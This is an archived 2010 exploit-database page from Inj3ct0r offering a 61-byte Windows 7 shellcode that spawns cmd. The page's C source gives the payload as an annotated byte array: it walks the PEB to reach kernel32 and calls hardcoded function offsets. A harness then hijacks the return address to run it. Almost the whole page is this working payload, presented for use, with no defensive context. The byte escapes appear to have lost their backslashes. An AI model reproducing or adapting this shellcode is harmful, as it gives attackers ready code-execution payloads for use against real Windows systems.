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Windows Seven x64 (cmd) Shellcode 61 Bytes

Posted on 31 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Windows Seven x64 (cmd) Shellcode 61 Bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre> /*
 | Title: Windows Seven x64 (cmd) Shellcode 61 Bytes
 | Type: Shellcode
 | Author: agix
 | Platform: win32
 | Info: Tested on Windows Seven Pro Fr, Ultimate En, Premium Home En
*/

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / \__  /'__`                   0
0  /\_,     ___   /\_/\_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/_\_&lt;_  /'___  /    /`'__          0
0       / /    /   / \__/  \_  \_   /           1
1       \_ \_ \_\_   \____/ \____\ \__\ \____/ \_           0
0       /_//_//_/ \_ /___/  /____/ /__/ /___/  /_/           1
1                   \____/ &gt;&gt; Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ##################################                1
0                    I'm agix member from Inj3ct0r Team                1
1                    ##################################                0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#include &lt;stdio.h&gt;

char shellcode[] =

&quot;x31xC9&quot;               //xor ecx,ecx
&quot;x64x8Bx71x30&quot;           //mov esi,[fs:ecx+0x30]
&quot;x8Bx76x0C&quot;             //mov esi,[esi+0xc]
&quot;x8Bx76x1C&quot;             //mov esi,[esi+0x1c]
&quot;x8Bx36&quot;               //mov esi,[esi]
&quot;x8Bx06&quot;               //mov eax,[esi]
&quot;x8Bx68x08&quot;             //mov ebp,[eax+0x8]
&quot;xEBx20&quot;               //jmp short 0x35
&quot;x5B&quot;                 //pop ebx
&quot;x53&quot;                 //push ebx
&quot;x55&quot;                 //push ebp
&quot;x5B&quot;                 //pop ebx
&quot;x81xEBx11x11x11x11&quot;     //sub ebx,0x11111111
&quot;x81xC3xDAx3Fx1Ax11&quot;     //add ebx,0x111a3fda (for seven X86 add ebx,0x1119f7a6)
&quot;xFFxD3&quot;               //call ebx
&quot;x81xC3x11x11x11x11&quot;     //add ebx,0x11111111
&quot;x81xEBx8CxCCx18x11&quot;     //sub ebx,0x1118cc8c (for seven X86 sub ebx,0x1114ccd7)
&quot;xFFxD3&quot;               //call ebx
&quot;xE8xDBxFFxFFxFF&quot;         //call dword 0x15
//db &quot;cmd&quot;
&quot;x63x6dx64&quot;;


int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&amp;ret + 2;
        (*ret) = (int) shellcode;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-31]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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